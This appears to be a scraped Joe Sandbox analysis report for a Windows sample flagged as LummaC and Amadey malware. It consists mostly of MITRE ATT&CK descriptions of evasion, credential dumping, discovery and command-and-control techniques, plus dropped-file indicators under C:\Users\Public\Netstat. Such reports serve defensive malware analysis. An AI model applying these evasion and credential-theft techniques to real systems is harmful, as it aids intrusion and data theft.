Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Netstat\FuturreApp.exe

C:\Users\Public\Netstat\HTCTL32.DLL

C:\Users\Public\Netstat\NSM.LIC

C:\Users\Public\Netstat\PCICHEK.DLL

C:\Users\Public\Netstat\PCICL32.DLL

C:\Users\Public\Netstat\TCCTL32.DLL

C:\Users\Public\Netstat\UpdateFuturreApp.bat

C:\Users\Public\Netstat\client32.ini

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre